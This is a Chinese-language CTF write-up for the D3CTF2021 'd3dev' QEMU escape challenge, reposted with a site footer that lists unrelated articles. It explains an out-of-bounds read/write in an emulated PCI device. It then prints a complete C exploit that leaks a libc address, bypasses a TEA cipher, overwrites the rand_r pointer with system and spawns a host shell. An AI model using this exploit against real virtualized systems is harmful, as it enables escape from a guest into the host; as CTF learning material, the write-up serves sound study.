【qemu逃逸】D3CTF2021-d3dev

前言

题目给的是一个 docker 环境,所以起环境非常方便,但是该怎么调试呢?有无佬教教怎么在 docker 中调试?

我本来想着直接起一个环境进行调试,但是缺了好的库,所以就算了,毕竟本题也不用咋调试。

然后题目是带符号的,所以设备定位就不说了;然后这一题我存在一些疑问,后面在总结部分会讲,希望有佬可以解答。

设备逆向

题目注册了 mmio 和 pmio,先来看看实例结构体:

blocks 就是我们之后操作的 buf,然后再其后面有一个 rand_r 函数指针,所以老套路了,多半都是越界读写这个函数指针去控制程序执行流。

 d3dev_pmio_read 函数

比较简单,就是去读取 d3devState 中的某些字段。

d3dev_pmio_write 函数

该函数有两个跟后面利用相关的功能,第一个是可以设置 seek 最大为 0x100;第二个是可以调用 rand_r(r_seed),并且 r_seed 是直接可控的;然后还可以设置 key 为 0,这个 key 是后面 tea 加密的密钥。

d3dev_mmio_read 函数

该函数就是去读取 blocks 中的数据,但是会进行 tea 加密,tea 加密很好解决,我们可以利用 d3dev_pmio_read 去直接把 key 读出来,也可以通过 d3dev_pmio_write 去把 key 直接设置为 0。

这里存在一个比较明显的漏洞,blocks 数组的大小为 257,虽然在 mmio 中会检查 addr 的范围。mmio 的大小是 0x800,而 blocks 为 qword 数组,刚好也是 0x800 字节,所以通过 addr 可以读取到 blocks 的末尾,但是我们可以去设置 seek,这样就可以越界读 0x800 字节了。

d3dev_mmio_write 函数

同理该函数存在越界写。

漏洞利用

很明显了,在上面说了在 blocks 后面存在 rand_r 函数指针,而该指针指向的是 libc 中的地址:

所以通过越界读可以去泄漏 libc 地址,从而计算出 system 地址。

然后通过越界写去修改 rand_r 函数指针指向 system。

 然后触发 rand_r(r_seed) 即可造成任意命令执行(这里 r_seed 是可控的,可以看下上面的源码)

exp 如下:

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <fcntl.h>
#include <sys/io.h>
#include <sys/mman.h>void * mmio_base = 0;
void * pmio_base = 0xc040;
void mmio_init()
{int fd = open("/sys/devices/pci0000:00/0000:00:03.0/resource0", O_RDWR);if (fd < 0) puts("[X] open for mmio"), exit(EXIT_FAILURE);mmio_base = mmap(0, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);if (mmio_base < 0) puts("[X] mmap for mmio"), exit(EXIT_FAILURE);if (mlock(mmio_base, 0x1000) < 0) puts("[X] mlock for mmio"), exit(EXIT_FAILURE);
}uint64_t mmio_read(uint64_t offset)
{return *(uint64_t*)(mmio_base + (offset << 3));
}void mmio_write(uint64_t offset, uint64_t val)
{*(uint64_t*)(mmio_base + (offset << 3)) = val;
}void pmio_init()
{if (iopl(3) < 0) puts("[X] iopl for pmio"), exit(EXIT_FAILURE);
}void pmio_write(uint64_t addr, uint64_t val)
{outl(val, pmio_base+addr);
}void enc(uint32_t data[2])
{uint32_t delta = 0xC6EF3720;do {data[1] -= (data[0]+delta) ^ (data[0] >> 5) ^ (data[0] << 4);data[0] -= (data[1]+delta) ^ (data[1] >> 5) ^ (data[1] << 4);delta += 0x61C88647;} while(delta);
}void dec(uint32_t data[2])
{uint32_t delta = 0;do {delta -= 0x61C88647;data[0] += (data[1]+delta) ^ (data[1] >> 5) ^ (data[1] << 4);data[1] += (data[0]+delta) ^ (data[0] >> 5) ^ (data[0] << 4);} while(delta != 0xC6EF3720);}uint64_t arb_read(uint64_t offset)
{uint64_t enc_addr = mmio_read(offset);printf("[+] enc_addr: %#p\n", enc_addr);dec(&enc_addr);return enc_addr;
}int main(int argc, char** argv, char** envp)
{mmio_init();pmio_init();pmio_write(4, 0);pmio_write(8, 0x100);uint64_t rand_r_addr = arb_read(3);printf("[+] rand_r addr: %#p\n", rand_r_addr);uint64_t system_addr = rand_r_addr - 0x47D30 + 0x52290;printf("[+] system addr: %#p\n", system_addr);enc(&system_addr);mmio_write(3, system_addr);printf("[+] now rand_r: %p", arb_read(3));pmio_write(28, 0x6873);return 0;
}

效果如下:

总结与疑问

在 CTF 中,qemu 的题目还是多为数组越界,还没接触到堆的题目,比较菜啦。

然后就是这里 mmio_read 我很懵逼,这里 mmio_read 读取的字节数好像是由用户决定的:

因为这里 low_data 是 unsigned_int ,所以返回值最高4字节应该为0,但是你会发现这里可以直接返回一个完整的内容。

这里好像是当你读取 8 字节时,qemu 会自动读取两次,具体原因我也不是很清楚。 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/160844.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

MFC 窗体插入图片

1.制作BMP图像1.bmp 放到res文件夹下&#xff0c;资源视图界面导入res文件夹下的1.bmp 2.添加控件 控件类型修改为Bitmap 图像&#xff0c;选择IDB_BITMAP1 3.效果

操作系统——初始文件管理(王道视频p58)

1.总体概述&#xff1a; 这一节&#xff0c;主要是 作为 后续 “文件系统”的引子 我认为可以思考的点&#xff1a; &#xff08;1&#xff09;文件之间的逻辑结构——windows中采用根什么的“树状结构”&#xff0c;而文件在外存中的实际物理结构又是什么样的 &#xff08…

windows自动登陆

新建文本粘贴下面代码&#xff0c;另存为注册表文件 Windows Registry Editor Version 5.00[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Driver Signing] "Policy"hex:00[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]"DefaultUserN…

Web3游戏的十字路口:沿用传统IP还是另起炉灶?

人们经常问我对 Web3 游戏有什么看法。因此&#xff0c;我想以书面形式概述一下我目前的想法。 让我先澄清一下&#xff1a;我不是专家。这不是一篇深入探讨游戏世界精细指标如 MAU 或 D14 等的全面分析。请把这看作是我根据个人交流和研究&#xff0c;这反映我在游戏领域关注…

用Java(C语言也可以看)实现冒泡排序和折半查找(详细过程图)+逆序数组

目录 一、冒泡排序 1.冒泡排序介绍 2.排序的思路 3.完整代码 二、折半查找 1.折半查找介绍 2.查找的思路 3.完整代码 三、逆序数组 1.逆序思路 2..完整代码 一、冒泡排序 冒泡排序是众多排序的一种&#xff0c;无论在C语言或者Java中都很常见&#xff0c;后续在数据…

Proxysql读写分离

Proxysql读写分离 主从配置 # /etc/my.cnf 主节点 [mysqld] log-binmysql-bin server-id1从节点 [mysqld] server-id2 read_only1#初始化以及创建主从复制用户 mysql> alter user rootlocalhost identified with mysql_native_password by Jianren123; Query OK, 0 rows …

CentOS 7使用RPM包安装MySQL5.7

目标 本文目标是简单介绍如何在CentOS 7上使用RPM包安装MySQL 5.7&#xff0c;然后描述如何调整存储路径datadir。 环境准备 操作系统 —— CentOS 7MySQL版本 —— MySQL 5.7.44 获取MySQL-rpm包 官网下载地址&#xff1a;https://dev.mysql.com/downloads/mysql/5.7.htm…

Hybrid App(原生+H5)开发

介绍 市面上主流的hybrid app框架主要有 React Native&#xff1a;由FaceBook开发&#xff0c;使用JavaScript和React来构建原生应用程序Flutter&#xff1a;由Google开发&#xff0c;使用Dart语言。Flutter使用自己的渲染引擎Ionic&#xff1a;基于 Web 技术&#xff08;HTM…

贝锐向日葵亮相阿里云“云栖大会”:独创专利算法赋能全新云桌面

2023年10月31日-11月2日&#xff0c;一年一度的云栖大会如期举办&#xff0c;国产远程连接服务创领者贝锐受邀参与。活动现场&#xff0c;贝锐CTO张小峰进行了分享&#xff0c;宣布贝锐旗下国民级远程控制品牌“贝锐向日葵”与无影展开合作&#xff0c;同时全新的“云桌面”将于…

python机器学习——实现Kmeans算法

K-means算法 关于K-means算法&#xff0c;它是一种无监督学习算法&#xff0c;用于将数据集分成预定数量的簇&#xff08;clusters&#xff09;。 K-means算法比较适合用来做聚类分析&#xff0c;而不是用来预测&#xff0c;换句话来说&#xff0c;K-means算法不擅长预测 K-…

win10提示mfc100u.dll丢失的解决方法,快速解决dll问题

在计算机使用过程中&#xff0c;我们经常会遇到一些错误提示&#xff0c;其中之一就是“mfc100u.dll丢失”。那么&#xff0c;mfc100u.dll是什么&#xff1f;mfc100u.dll是Microsoft Visual C Redistributable文件之一&#xff0c;它包含了用于MFC (Microsoft Foundation Class…

数据可视化:动态柱状图

终于来到最后一个数据可视化的文章拿啦~~~ 在这里学习如何绘制动态柱状图 我先整个活 (๑′ᴗ‵๑)&#xff29; Lᵒᵛᵉᵧₒᵤ❤ 什么是pyecharts&#xff1f; 答&#xff1a; Python的Pyecharts软件包。它是一个用于Python数据可视化和图表绘制的库&#xff0c;可用于制作…